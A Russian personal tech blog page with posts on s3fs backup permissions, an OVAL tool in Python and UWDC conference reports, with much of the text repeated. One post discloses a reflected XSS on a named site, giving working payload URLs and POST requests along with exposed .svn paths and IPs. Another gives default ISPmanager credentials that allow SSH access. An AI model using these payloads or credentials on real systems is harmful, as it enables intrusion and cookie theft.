Бэкапы на Amazon s3fs права доступа при подключении диска
К примеру в статье habrahabr.ru/post/111555/ используется строчка подключения диска
Если примонтировать S3 под root то к разделу /mnt/backup будут иметь доступ пользователи сервера в том числе и через PHP скрипты(или запущенные шеллы Perl, C).
Таким образом пользователи или какой-нибудь сайт на WordPress может послужить огромной опасностью.
Правильно:
Параметр Если без параметра allow_other примонтировать S3 диск, то доступ к диску будет возможен только тому пользователю кто его примонтировал.
Соответственно и бекапы надо делать под пользователем под которым подключили диск.
У меня OS Debian 5 + ISPmanager
Проверьте пожалуйста и у вас доступен ли каталог Amazon для простых пользователей.
А то получается что простые пользователи могут уничтожить все бекапы и вы останетесь без них.
PS:
При присутствующем параметре allow_other — установка UNIX прав 0600 на фаилы и каталоги не действуют.
Монтирование диска с параметрами RW, UID=, GID= тоже недействуют.
PS:
данная ошибка будет возникать если вы пытаетесь примонтировать диск не под пользователем которому разрешено читать /etc/passwd-s3fs
s3fs your-bucket-name /mnt/backup -o allow_other,retries=10,connect_timeout=30,readwrite_timeoЕсли примонтировать S3 под root то к разделу /mnt/backup будут иметь доступ пользователи сервера в том числе и через PHP скрипты(или запущенные шеллы Perl, C).
Таким образом пользователи или какой-нибудь сайт на WordPress может послужить огромной опасностью.
Правильно:
Параметр Если без параметра allow_other примонтировать S3 диск, то доступ к диску будет возможен только тому пользователю кто его примонтировал.
Соответственно и бекапы надо делать под пользователем под которым подключили диск.
У меня OS Debian 5 + ISPmanager
Проверьте пожалуйста и у вас доступен ли каталог Amazon для простых пользователей.
А то получается что простые пользователи могут уничтожить все бекапы и вы останетесь без них.
PS:
При присутствующем параметре allow_other — установка UNIX прав 0600 на фаилы и каталоги не действуют.
Монтирование диска с параметрами RW, UID=, GID= тоже недействуют.
s3fs your-bucket-name /mnt/backup -o retries=10,connect_timeout=30,readwrite_timeout=30,uid=0,gid=0PS:
данная ошибка будет возникать если вы пытаетесь примонтировать диск не под пользователем которому разрешено читать /etc/passwd-s3fs
s3fs: could not determine how to establish security credentials
- ?
- 15 мая 2012, 10:03
- HiMiC
- Оставить комментарий
Sape.ru обман отображения ссылок вебмастерами
Покупаем ссылки на сапе. Вебмастер их размещает. Деньги ему идут. Sape ссылку видит.

Заходим к примеру через Sape чтобы посмотреть на ссылку на сайте:
Сайт ставит по Refferer нам Cookies — что надо отображать ссылку Sape. т.к. мы зашли с Sape и являемся скорее всего владельцами разместившими ссылку.
Нам отображают что ссылка имеется:

Вот устанавливаемая Cookies

Но в других браузерах зайдя на сайт напрямую без Sape и без Cookies, нам не отображают ссылку:

Соответственно страница в яндексе является проиндексированной:

а ссылка на этой странице непроиндексированная:

Ну и конечно же они отдают ссылки ботам Sape скорее всего определяя их или по User-Agent, но я бы их по принадлежности IP-адреса определял(так надежнее).

Заходим к примеру через Sape чтобы посмотреть на ссылку на сайте:
http://123sdfsdfsdfsd.ru/r.html?r=http%3A%2F%2Fwww.kitophone.ru%2Fcategory%2F%25d0%25bf%25d1%2580%25d0%25be%25d1%2588%25d0%25b8%25d0%25b2%25d0%25ba%25d0%25b8-%25d0%25b8-%25d1%2582-%25d0%25b4 Сайт ставит по Refferer нам Cookies — что надо отображать ссылку Sape. т.к. мы зашли с Sape и являемся скорее всего владельцами разместившими ссылку.
Нам отображают что ссылка имеется:

Вот устанавливаемая Cookies

Но в других браузерах зайдя на сайт напрямую без Sape и без Cookies, нам не отображают ссылку:

Соответственно страница в яндексе является проиндексированной:

а ссылка на этой странице непроиндексированная:

Ну и конечно же они отдают ссылки ботам Sape скорее всего определяя их или по User-Agent, но я бы их по принадлежности IP-адреса определял(так надежнее).
- 0
- 29 марта 2012, 08:39
- HiMiC
- Оставить комментарий
Гибкая разработка веб-приложений в среде Rails
Предосмотр книги: static.ozone.ru/multimedia/book_file/1004378388.pdf
Купить тут: www.ozon.ru/context/detail/id/8153111/

Читать дальше
Купить тут: www.ozon.ru/context/detail/id/8153111/

Читать дальше
- 0
- 22 марта 2012, 13:57
- HiMiC
- Оставить комментарий
Реализация инструментов для создания контента OVAL на Python
Данный модуль позволяет выполнять сборку секьюрити-контента и «упаковку» его в базу данных с контролем версий и уникальности идентификаторов.
В процессе исследования языка OVAL, про который написано ранее в одной из статей, и концепции SCAP-сканера мы столкнулись с довольно серьезной проблемой, а именно с отсутствием удобных инструментов для создания контента на языке OVAL. Нет, мы не утверждаем, что нет совсем ничего. Есть небольшой набор утилит, представленных на официальном сайте. Большая часть из них платная, остальные же представляют собой не очень удобные решения, больше всего похожие на XML-Notepad. В итоге мы решили создать небольшой необходимый для работы инструмент самостоятельно, используя в качестве языка Python
Такой выбор обусловлен хорошей репутацией языка Python как «rapid development language» и наличием богатой палитры сторонних библиотек. Вооружившись документацией по языку, попытались воссоздать задумки MITRE в реальности. Конечной целью поставили реализацию объектов языка OVAL и системы их хранения и индексации.
Первоочередным вопросом был выбор способа хранения собранной информации. Первым (и неудачным) решением стал SQLite 3. Не будем особо задерживаться на этом печальном опыте, но как показала практика, — хранение непредсказуемого дерева в реляционной базе данных слишком сложная задача. Поэтому мы обратили внимание на базы данных NoSQL. Так как планировалось ограничиться монопольным использованием базы, выбор пал на ZoDB. Конечно же, это решение тоже было поспешным. Но переделывать на MongoDB было уже поздно. Так что для дальнейших выкладок кода хотелось бы отметить, что PersistentMapping() — это, по сути, обычный dict(). Приняв во внимание неопределенность восприятия хэшмапов базой данных, в качестве хэшмапов использовались ключи того же класса. PersistentList() — это эквивалент list(). Данная замена необходима для хранения подобных структур в ZoDB. Это обусловлено внутренней логикой работы базы данных. Для сохранения класса в базе данных целиком необходимо, чтобы класс являлся наследником класса persistent.Persistent.
Кроме того, просим заранее простить нас за нешаблонное именование переменных, методов и классов и возможную «косорукость»: я не волшебник, я только учусь. И с удовольствием примем любые правки и замечания от более осведомленных коллег.
Во избежание цитирования излишне больших кусков кода сразу приведем ссылку на исходник на code.google.com.
В целом при анализе структур языка OVAL мы отметили, что его главной особенностью является расширяемость. Если необходимо ввести собственную структуру, достаточно описать ее в XSD, определяющим ваш namespace. Поскольку структуры в большинстве своем представляют типовые наборы данных, то мы решили создать выделенный класс для каждого объекта языка. Основная цель такой реализации — создание контейнера для информации, который будет удобно закладывать в БД. Таким образом, в качестве базового объекта выступил элемент OBJECT:
Данный класс является базовым для всех основных элементов OVAL.Definition, Test, State и Oval_variable будут являться наследниками этого класса. Для того, чтобы реализовать возможность сравнения элементов, были созданы методы hash() (универсальный для всех) и hashme()(переопределяемый у потомков).
Как видно из названий переменных, все основные структуры заданы статически. Динамическими же являются возможные «потомки», структуры которых мы не знаем. Для реализации таких «потомков» был сделал класс Variable, во многом повторяющий по идеологии Element из ElementTree:
Как и в случае с OBJECT, потребовалась функция расчета хэша. Структура класса максимально подогнана к ElementTree.Element, чтобы упростить в будущем выгрузку базы данных в XML-формат.
В целом получился набор объектов, удобных для заполнения. Но мало их заполнить: при создании собственных объектов необходимо выполнять требования регулятора (в нашем случае MITRE) к заполнению и хранению новых Definition. Соответственно, мне потребовалась система индексации и контроля изменения версии Definition. Для этого был создан класс oval_suite(). В нем реализован базовый набор методов (put, get, delete, search, import_xml, export_xml), который облегчает работу с контентом и позволяет не заморачиваться на вышеупомянутых проблемах.
Одна из специфичных проблем, с которыми столкнулись в процессе создания oval_suite(),- нехватка памяти при попытке экспортировать в XML-формат большой объем данных (порядка 100Мб) за один заход. Поэтому для реализации этой функции пришлось создавать конечный файл поэтапно и использовать функцию удаления элементов ElementTree.Element, позаимствованную из StackOverflow:
целом и общем, получились наброски инструментария для работы с OVAL на Python, который может пригодиться при сборке и создании секьюрити-контента. Данный модуль позволяет выполнять сборку секьюрити-контента и «упаковку» его в базу данных с контролем версий и уникальности идентификаторов.
Спасибо за внимание! Надеемся, кто-нибудь заинтересуется тематикой OVAL и данные наработки окажутся ему полезны.
www.securitylab.ru/analytics/421823.php
В процессе исследования языка OVAL, про который написано ранее в одной из статей, и концепции SCAP-сканера мы столкнулись с довольно серьезной проблемой, а именно с отсутствием удобных инструментов для создания контента на языке OVAL. Нет, мы не утверждаем, что нет совсем ничего. Есть небольшой набор утилит, представленных на официальном сайте. Большая часть из них платная, остальные же представляют собой не очень удобные решения, больше всего похожие на XML-Notepad. В итоге мы решили создать небольшой необходимый для работы инструмент самостоятельно, используя в качестве языка Python
Такой выбор обусловлен хорошей репутацией языка Python как «rapid development language» и наличием богатой палитры сторонних библиотек. Вооружившись документацией по языку, попытались воссоздать задумки MITRE в реальности. Конечной целью поставили реализацию объектов языка OVAL и системы их хранения и индексации.
Первоочередным вопросом был выбор способа хранения собранной информации. Первым (и неудачным) решением стал SQLite 3. Не будем особо задерживаться на этом печальном опыте, но как показала практика, — хранение непредсказуемого дерева в реляционной базе данных слишком сложная задача. Поэтому мы обратили внимание на базы данных NoSQL. Так как планировалось ограничиться монопольным использованием базы, выбор пал на ZoDB. Конечно же, это решение тоже было поспешным. Но переделывать на MongoDB было уже поздно. Так что для дальнейших выкладок кода хотелось бы отметить, что PersistentMapping() — это, по сути, обычный dict(). Приняв во внимание неопределенность восприятия хэшмапов базой данных, в качестве хэшмапов использовались ключи того же класса. PersistentList() — это эквивалент list(). Данная замена необходима для хранения подобных структур в ZoDB. Это обусловлено внутренней логикой работы базы данных. Для сохранения класса в базе данных целиком необходимо, чтобы класс являлся наследником класса persistent.Persistent.
Кроме того, просим заранее простить нас за нешаблонное именование переменных, методов и классов и возможную «косорукость»: я не волшебник, я только учусь. И с удовольствием примем любые правки и замечания от более осведомленных коллег.
Во избежание цитирования излишне больших кусков кода сразу приведем ссылку на исходник на code.google.com.
В целом при анализе структур языка OVAL мы отметили, что его главной особенностью является расширяемость. Если необходимо ввести собственную структуру, достаточно описать ее в XSD, определяющим ваш namespace. Поскольку структуры в большинстве своем представляют типовые наборы данных, то мы решили создать выделенный класс для каждого объекта языка. Основная цель такой реализации — создание контейнера для информации, который будет удобно закладывать в БД. Таким образом, в качестве базового объекта выступил элемент OBJECT:
# UNIVERSAL OVAL OBJECTS
class oval_object(persistent.Persistent):
def __init__(self):
self.id = str()
self.tag = "object"
self.namespace = str()
self.oval = str()
self.version = 0
self.vHash = 0
self.deprecated = False
self.variables = PersistentList()
self.notes = PersistentList()
self.comment = str()
self.signature = str()
def assign_id(self, UniqId):
self.id = "oval:"+self.oval+":obj:"+str(UniqId)
def hash(self):
summ_hash = 0
summ_hash += hash(self.tag)
summ_hash += hash(self.namespace)
summ_hash += hash(self.comment)
for var in self.variables:
if isinstance(var, variable):
summ_hash += var.hashme()
else:
raise Exception("Error input parameters in object variables")
return summ_hash
def hashme(self):
self.vHash = self.hash()
return self.vHash
def clearme(self):
hashmap = PersistentMapping()
for var in self.variables:
var.clearme()
var_hash = var.hashme()
if var_hash not in hashmap.keys():
hashmap[var_hash] = None
else:
self.variables.remove(var)Данный класс является базовым для всех основных элементов OVAL.Definition, Test, State и Oval_variable будут являться наследниками этого класса. Для того, чтобы реализовать возможность сравнения элементов, были созданы методы hash() (универсальный для всех) и hashme()(переопределяемый у потомков).
Как видно из названий переменных, все основные структуры заданы статически. Динамическими же являются возможные «потомки», структуры которых мы не знаем. Для реализации таких «потомков» был сделал класс Variable, во многом повторяющий по идеологии Element из ElementTree:
class variable(persistent.Persistent):
def __init__(self, tag=str(), body = str(), attributes = None, variables = None):
if not attributes:
self.attributes = PersistentMapping()
if not variables:
self.variables = PersistentList()
if attributes and not isinstance(attributes, PersistentMapping):
attributes = PersistentMapping(attributes)
if variables and not isinstance(variables, PersistentList):
variables = PersistentList(variables)
self.tag = tag
self.body = body
if attributes:
self.attributes = attributes
if variables:
self.variables = variables
self.vHash = 0
def clearme(self):
hashmap = PersistentMapping()
for var in self.variables:
var.clearme()
var_hash = var.hashme()
if var_hash not in hashmap.keys():
hashmap[var_hash] = None
else:
self.variables.remove(var)
def hashme(self):
summ_hash = 0
summ_hash += hash(self.tag)
summ_hash += hash(self.body)
if self.attributes:
for attribute in self.attributes.keys():
summ_hash += hash(attribute) + hash(self.attributes[attribute])
if self.variables:
for var in self.variables:
if isinstance(var, variable):
if var != self:
summ_hash += var.hashme()
else:
raise Exception("Error input parameters in variables. Self append ?")
self.vHash = summ_hash
return self.vHashКак и в случае с OBJECT, потребовалась функция расчета хэша. Структура класса максимально подогнана к ElementTree.Element, чтобы упростить в будущем выгрузку базы данных в XML-формат.
В целом получился набор объектов, удобных для заполнения. Но мало их заполнить: при создании собственных объектов необходимо выполнять требования регулятора (в нашем случае MITRE) к заполнению и хранению новых Definition. Соответственно, мне потребовалась система индексации и контроля изменения версии Definition. Для этого был создан класс oval_suite(). В нем реализован базовый набор методов (put, get, delete, search, import_xml, export_xml), который облегчает работу с контентом и позволяет не заморачиваться на вышеупомянутых проблемах.
Одна из специфичных проблем, с которыми столкнулись в процессе создания oval_suite(),- нехватка памяти при попытке экспортировать в XML-формат большой объем данных (порядка 100Мб) за один заход. Поэтому для реализации этой функции пришлось создавать конечный файл поэтапно и использовать функцию удаления элементов ElementTree.Element, позаимствованную из StackOverflow:
def _garbager(self, root):
for element in list(root):
self._garbager(element)
root.clear()
del rootцелом и общем, получились наброски инструментария для работы с OVAL на Python, который может пригодиться при сборке и создании секьюрити-контента. Данный модуль позволяет выполнять сборку секьюрити-контента и «упаковку» его в базу данных с контролем версий и уникальности идентификаторов.
Спасибо за внимание! Надеемся, кто-нибудь заинтересуется тематикой OVAL и данные наработки окажутся ему полезны.
www.securitylab.ru/analytics/421823.php
- 0
- 20 марта 2012, 10:49
- HiMiC
- Оставить комментарий
ISPmanager - дефолтные пароли на пользователе mgrtest
Устанавливаем Ruby on Rails в панели управления ISPmanager.

Увеличить

Увеличить
После установки Ruby on Rails…
В пользователях у нас появляется пользователь mgrtest с паролем mgrtest

Увеличить
Благодаря этому пользователю mgrtest:mgrtest можем заходить в панель управления ISPmanager.

Увеличить
А также по SSH коннектиться. И смотреть /etc/passwd, запущенные процессы, пользователей в системе, ключ SSL-сертификата в /usr/local/ispmgr/var/sslcert.tmp а также просматривать /tmp если неправильно настроен PHP open_basedir то там могут попадать конфигурационые фаилы сайтов. Вобщем делайте всё что пожелаете. )))
Решения:
1. Если только закрыть SSH:22 порт и разрешить доступ только для проверенных адресов, то скорее всего попытаются попасть на ваш сервер таки образом https://IP-servera/manager/ispmgr
2. Я сделал так: Оставить пользователя в системе. Но деактивировать его в ISPmanager как неактивного пользователя. неактивный пользователь
Какие нибудь последствия могут быть потом. Но думаю из можно решать активируя пользователя. т.е. данное решение не для массового использования. Возможно у пользователей не будут создаваться Rails проекты.
Разработчики ISPManager.com предупреждены и запрос передан в отдел «Technical ISPsystem».

Увеличить

Увеличить
После установки Ruby on Rails…
В пользователях у нас появляется пользователь mgrtest с паролем mgrtest

Увеличить
Благодаря этому пользователю mgrtest:mgrtest можем заходить в панель управления ISPmanager.

Увеличить
А также по SSH коннектиться. И смотреть /etc/passwd, запущенные процессы, пользователей в системе, ключ SSL-сертификата в /usr/local/ispmgr/var/sslcert.tmp а также просматривать /tmp если неправильно настроен PHP open_basedir то там могут попадать конфигурационые фаилы сайтов. Вобщем делайте всё что пожелаете. )))
Решения:
1. Если только закрыть SSH:22 порт и разрешить доступ только для проверенных адресов, то скорее всего попытаются попасть на ваш сервер таки образом https://IP-servera/manager/ispmgr
2. Я сделал так: Оставить пользователя в системе. Но деактивировать его в ISPmanager как неактивного пользователя. неактивный пользователь
Какие нибудь последствия могут быть потом. Но думаю из можно решать активируя пользователя. т.е. данное решение не для массового использования. Возможно у пользователей не будут создаваться Rails проекты.
Разработчики ISPManager.com предупреждены и запрос передан в отдел «Technical ISPsystem».
- 0
- 29 февраля 2012, 13:46
- HiMiC
- Оставить комментарий
Nginx keepalive_timeout 0; зло?
После установки keepalive_timeout 0; этого значения, картинки как большие так и болеее менее 600 кб штука стали отдаваться с 503 ошибкой.
www.webpagetest.org/result/120227_C5_3CKR8/1/details/ результаты тестов.
Картинки с UWDC отдавались по 3-4 штуки, остальные с 503 ошибкой, за что стыдно.
www.webpagetest.org/result/120227_44_3CMBF/ тесты с keepalive_timeout 65;
Пусть он и закрывает порт после отдачи, но он может закрывать порт и неотдав ничего в замен. Что вызывало 503.
www.webpagetest.org/result/120227_C5_3CKR8/1/details/ результаты тестов.
Картинки с UWDC отдавались по 3-4 штуки, остальные с 503 ошибкой, за что стыдно.
www.webpagetest.org/result/120227_44_3CMBF/ тесты с keepalive_timeout 65;
Пусть он и закрывает порт после отдачи, но он может закрывать порт и неотдав ничего в замен. Что вызывало 503.
- 0
- 27 февраля 2012, 16:49
- HiMiC
- Оставить комментарий
UWDC 2012 конференция уральских веб-разработчиков - Как я побывал. День второй.
UWDC 2012 конференция уральских веб-разработчиков — Как я побывал. День второй.
Второй день обещал быть лучше. И я решил всё-таки пойти про стартапы послушать. Но надо было идти на DDoS и Django. А зря пошел на стартапы…
Увеличить
Дмитрий Калаев (RedButton Capital) Что происходит со стартапами в России и в мире
Была простая аналитика которую могли бы и сами почитать в интернете. Матерьяла в интернете достаточно. Было скучно и весь зал ждал из вежливости когда же кто-нить другой придет.
На вопросы отвечали странно )))
«Вы откудова?» — с Екатеринбурга.
«Сколько у вас денег в фонде?» — 14 миллионов $ и планируем их потратить за 10 лет (((.
«Сколько вы уже инвестировали проектов?» — ни одного, мы всего 3 месяца работаем (((( ну мы немного с челябинским проектом какие-то переговоры ведем.
Конечно я не ручаюсь что правильно тут написал, надо будет записи пересмотреть.
Но мнение моё не самое лучшее.
Увеличить
Леонид Волков («Прожектор») Создание стартапов с ноля и до успеха
Пришёл Леонид Волков, и первая фраза убила всех: «Я не создал и нидовел ни одного проекта до успеха(мирового уровня)!».
Панорамный зал начал наполняться(думали что тут что-то интересное), и люди в твиттере просили поменять белый и панорамный местами. Если бы они поменяли местами, то в белом зале было народу больше чем в панорамном, и тогда бы вообще никто не влез ))))
В итоге народ послушав просто слова все разбежались, вежливости уже не хватало. И я ушел к технарям в белый зал.
Увеличить
Александр Макаров «Yii, его разработка и Yii2» и «О командной разработке и фреймворках»
Надо было его слушать, может быть что интересное услышал бы о Yii. Но слова его о переходе с 1 на 2 версию примерно такие же как у Ruby и Python: «Используйте старую версию, и не ждите новую. т.к. луче запустить проект(прототип) на старой версии и получать уже сейчас доход(инвестиции), чем ждать когда устоится архитектура нового фреймворка.»
Увеличить
Вадим Макеев (Opera Software) «CSS-менеджмент. Пять лет спустя.» и «Пре-фиксы: зачем и как правильно»
Было интересно, особенно про префиксы. Знал что такие есть. Но я же не верстальщик. Меня и терминал в линуксе устраивает и шрифт Times New Roman. )))
Увеличить
Александр Сапожников (отдел глобальных сетевых технологий, ЮУрГУ) Mojolicious и перловое программирование
Ждал этого выступления. Знал что в Челябинске есть компания которая делает сайты на Perl. Название компании не помню, но надеюсь что это их студенты или они сами.
Жаль, не рассказали того чего хотелось бы: Ни роутинга, модульности, совершенства над Django и Rails. Зато рассказали, что вьюхи стандартные используют и что, можно сайты делать на Perl. Новизны, и смысла перехода на Perl не вижу.
Просто так фотки....
Увеличить
Потолок в белом зале
Увеличить
Седьмой зал
Увеличить
Седьмой зал
Увеличить
Панорамный зал
Увеличить
Панорамный зал
Увеличить
отель Аврора
Увеличить
отель Аврора
Увеличить
отель Аврора
Увеличить
Sitko Mobil ))) Наверно суровое Челябинское SEO
Увеличить
Журналисты на Пресс-конференции Сергея Белоусова
Увеличить
Один из столиков МосИгра.
Одну игру всё-таки я приобрел. Теперь осталось понять как в неё играть и главное найти с кем.
Увеличить
МосИгра Алёна и Катя
Увеличить
МосИгра Маша и Алёна
Увеличить
МосИгра Маша
Увеличить
Андрей Бешков (Microsoft)(Security Program Manager — «Руководитель программы информационной безопасности») и Бабичев Игорь
Ради этой фотки и стоило туда съездить.
Ничего через 3 месяца будет PHDays.ru
- 0
- 27 февраля 2012, 12:23
- HiMiC
- Оставить комментарий
UWDC 2012 конференция уральских веб-разработчиков - Как я побывал. День первый.
UWDC 2012 конференция уральских веб-разработчиков
Вобщето я приехал туда послушать про стартапы, завести новые знакомства и поддержать старые. А также посидеть в компании людей, кто тебя понимает с полуслова.
А еще найти себе девушку, которая если бы не понимала, то хотя бы ценила то, что я делаю в своей работе. И нашел, так хотелось пойти и поцеловать, но сдержался. И спросил только ручку, но она мне отдала и левую и правую ручку. У неё не было колечка на руке. Я был в шоке, и хотел забрать всю её целиком прямиком в ЗАГС. ;)
Ну давайте немного о конференции в виде фоток, а не Love-story:
UWDC 2012 конференция уральских веб-разработчиков
Сама конференция началась с доклада Тимура Тазетдинова о реальных играх (об играх в альтернативной реальности (Alternate Reality Games, ARG)).
По приезду домой. Это чудесное и познавательное творение ARG я попытался воплотил в жизнь. Надпись с анекдотами и подписью «ARG где-то тут». Листок с анекдотам был повешен на лестнице. т.к. у нас почти все здание занимается IT, то для них не составит труда догадаться, что там зашифровано. И в самом начале подсказка куда идти дальше с данным ключём. А идти надо в интернет.
Там мы ищем страницу, и в контенте страницы находим еще один ключ. Который ведет обратно в коридор в реальности, где висит листок. А там ищем еще один ключ по подсказке. И попадаем на еще один не доделанный уровень… (туалет, окна и во всём здании спрятано что-то)… Эх понеслась… Dozor-real-to-0nline…
Увеличить Ренат Абясов Seenta.ru
Один из организаторов конференции. За что спасибо ему.
Увеличить
Министр связи Челябинска Дмитрий Тарасов
Здесь где-то был Тимур Тазетдинов Реальные игры (ARG) — очень понравилось прям захватывающе. Но долго реализуемое, и надо так чтоб на весь мир играл и рассылать им банки с медом )))) и ключиком от Ferrary. Потом ищите Ferrary и вставляете в неё ключ. Не подошел ключь, то вы пытались угнать чужую машину! :)
Увеличить
Увеличить
БЭМ = Блок, Элемент, Модификатор.
Много о нем читал, но некогда было применять. Всё-такие моё дело не разработка.
Увеличить
Варвара Степанова (Яндекс) Как использовать БЭМ! вне Яндекса
Вот это было уже интереснее на примерах, и спасибо им за плагин для джанги БЭМ.
Увеличить
Яндекс.Субботник
Увеличить
Настя Вавилова Яндекс.Директ. Фишки для продвинутых.
Увеличить
Королева Яндекс.Директ ;)
Увеличить
Облачные сервисы повышенной доступности.
Николай Мациевский обещал дать через 10 дней потестить в облаке Битрикс. Думаю напишу отчет.
Увеличить
Николай Мациевский(слева) («Битрикс 24») Облачные сервисы повышенной доступности и Алексей Абрамов(справа) Continuous delivery
Облака конечно хорошо, но пока еще дорого.
Увеличить
Иван Бибилов (Яндекс) Спортивные проекты Яндекса. Взгляд изнутри.
Спасибо за рассказ, много интересного было как устроено. А так же то, что всё это создается на Python+Django.
Увеличить
Александр Крайнов (Яндекс) Кластеризация дубликатов в Яндекс.Картинках
Хорошо рассказано. Надеюсь когда-нибудь они сделают что-то как у гугла поиск по картинке и сделают сравнение картинок опенсорсным решением.
Теперь SEO-оптимизировал картинки на блоге. Посмотрим как я пойду в Яндекс.Картинках по запросу «UWDC»
Увеличить
Мария Першко (Яндекс) Отмечала на второй день конференции своё день рождения.
С Днём Рождения Маша! Поздравляем!
Увеличить
Он на меня похож ;) У меня есть двойник!
UWDC 2012 — Как я побывал. День второй.
- 0
- 27 февраля 2012, 09:13
- HiMiC
- Оставить комментарий
Конференция уральских веб-разработчиков UWDC.ru 2012
Уральская Конференция Веб-разработчиков — это ежегодно одно из самых крупных событий Урала в области интернета. Самое крупное из проводимых в Челябинске.
Начиная с февраля 2010 года, конференция собирает предствителей веб-студий, свободных профессионалов, владельцев крупных проектов и просто молодых специалистов.
Нам есть что обсудить, ведь за год в интернете происходит столько всего нового, запускаются новые проекты, появляются новые технологии, а значит новые возможности для бизнеса. Уровень сервиса постоянно растёт, и приходится ему соответствовать.
Уехал на uwdc.ru/about/idea.html
Начиная с февраля 2010 года, конференция собирает предствителей веб-студий, свободных профессионалов, владельцев крупных проектов и просто молодых специалистов.
Нам есть что обсудить, ведь за год в интернете происходит столько всего нового, запускаются новые проекты, появляются новые технологии, а значит новые возможности для бизнеса. Уровень сервиса постоянно растёт, и приходится ему соответствовать.
Уехал на uwdc.ru/about/idea.html
- 0
- 24 февраля 2012, 15:37
- HiMiC
- Оставить комментарий
Михаил Прохоров mdp2012.ru XSS
Я уважаю этого человека и он мой авторитет, но нельзя же так сайты выпускать.
Надо заботиться о информационной безопасности чуточку.
mdp2012.ru
Server:
nginx/1.0.11
Apache/1.3.42
SVN
mdp2012.ru:80/css/.svn/entries
mdp2012.ru:80/fonts/.svn/entries
mdp2012.ru:80/i/.svn/entries
mdp2012.ru:80/js/.svn/entries
mdp2012.ru:80/js/scriptaculous/.svn/entries
На странице написано: mdp2012.ru/registration.html "Или создайте аккаунт на сайте DRINGO.RU" т.е. шаблон и CMS скорее всего с сайта dringo.ru
mdp2012.ru 217.29.51.108
zamd.ru 217.29.51.107
dringo.ru makeidea.ru 217.29.51.106
zamd.ru/ — те же самые XSS
dev.dringo.ru/
соответственно: достаем CMS с других разработок этой компании и всё становится ясно.
Вот еще zamd.ru/autohandler#raw


PS администрация сайта уведомлена.
PS-2 спасибо будет?
Надо заботиться о информационной безопасности чуточку.
mdp2012.ru
Server:
nginx/1.0.11
Apache/1.3.42
http://mdp2012.ru/logon.html?back=/admin/%22%3E%%3CBODY%20onload=alert(document.cookie)%3EPOST http://mdp2012.ru:80/logon.html HTTP/1.1
Content-Length: 125
Content-Type: application/x-www-form-urlencoded
Cookie: _metrika_enabled=
Host: mdp2012.ru
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Opera/9.80 (X11; Linux i686; U; Debian; pl) Presto/2.9.168 Version/12.51
Accept: */*
action=logon&back=%22><BODY%20onload=alert(document.cookie)>&login=ignkgtnu&mode=common&passwd=acUn3t1x&remember_me=1POST http://mdp2012.ru:80/registration.html HTTP/1.1
Content-Length: 125
Content-Type: application/x-www-form-urlencoded
Cookie: _metrika_enabled=
Host: mdp2012.ru
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Opera/9.80 (X11; Linux i686; U; Debian; pl) Presto/2.9.168 Version/12.51
Accept: */*
action=logon&back=%22><BODY%20onload=alert(document.cookie)>&login=ignkgtnu&mode=common&passwd=acUn3t1x&remember_me=1SVN
mdp2012.ru:80/css/.svn/entries
mdp2012.ru:80/fonts/.svn/entries
mdp2012.ru:80/i/.svn/entries
mdp2012.ru:80/js/.svn/entries
mdp2012.ru:80/js/scriptaculous/.svn/entries
На странице написано: mdp2012.ru/registration.html "Или создайте аккаунт на сайте DRINGO.RU" т.е. шаблон и CMS скорее всего с сайта dringo.ru
mdp2012.ru 217.29.51.108
zamd.ru 217.29.51.107
dringo.ru makeidea.ru 217.29.51.106
zamd.ru/ — те же самые XSS
dev.dringo.ru/
соответственно: достаем CMS с других разработок этой компании и всё становится ясно.
Вот еще zamd.ru/autohandler#raw


PS администрация сайта уведомлена.
PS-2 спасибо будет?
- 0
- 19 января 2012, 02:58
- HiMiC
- Оставить комментарий